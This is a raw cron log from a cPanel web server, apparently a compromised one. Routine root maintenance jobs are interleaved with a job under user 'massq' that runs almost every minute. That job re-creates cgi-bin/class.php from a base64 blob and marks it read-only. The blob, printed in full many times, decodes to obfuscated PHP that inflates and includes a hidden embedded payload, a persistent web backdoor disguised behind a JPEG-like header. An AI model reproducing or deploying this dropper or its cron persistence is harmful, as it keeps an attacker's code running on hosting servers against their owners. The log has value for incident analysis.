Sep  4 16:03:01 server CROND[22455]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:03:01 server CROND[22456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:04:01 server CROND[22962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:04:01 server CROND[22963]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:04:01 server CROND[22964]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:05:01 server CROND[23472]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 16:05:01 server CROND[23473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:05:01 server CROND[23476]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:05:01 server CROND[23479]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 16:05:01 server CROND[23478]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 16:05:01 server CROND[23480]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 16:05:01 server CROND[23481]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:05:01 server CROND[23477]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 16:06:01 server CROND[24386]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:06:01 server CROND[24387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:06:01 server CROND[24388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:07:01 server CROND[24769]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:07:01 server CROND[24770]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:07:01 server CROND[24771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:08:01 server CROND[25139]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:08:01 server CROND[25140]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:08:01 server CROND[25141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:09:01 server CROND[25508]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:09:01 server CROND[25509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:09:01 server CROND[25510]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:09:01 server CROND[25511]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 16:10:01 server CROND[25998]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 16:10:01 server CROND[26004]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 16:10:01 server CROND[26005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:10:01 server CROND[26007]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 16:10:01 server CROND[26003]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 16:10:01 server CROND[26006]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:10:01 server CROND[26010]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 16:10:01 server CROND[26009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:11:01 server CROND[26831]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:11:01 server CROND[26832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:11:01 server CROND[26833]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:12:01 server CROND[27203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:12:01 server CROND[27205]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:12:01 server CROND[27207]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 16:12:01 server CROND[27206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:13:01 server CROND[27573]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:13:01 server CROND[27574]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:13:01 server CROND[27575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:14:01 server CROND[27934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:14:01 server CROND[27935]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:14:01 server CROND[27936]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:15:01 server CROND[28317]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 16:15:01 server CROND[28319]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 16:15:01 server CROND[28321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:15:01 server CROND[28325]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
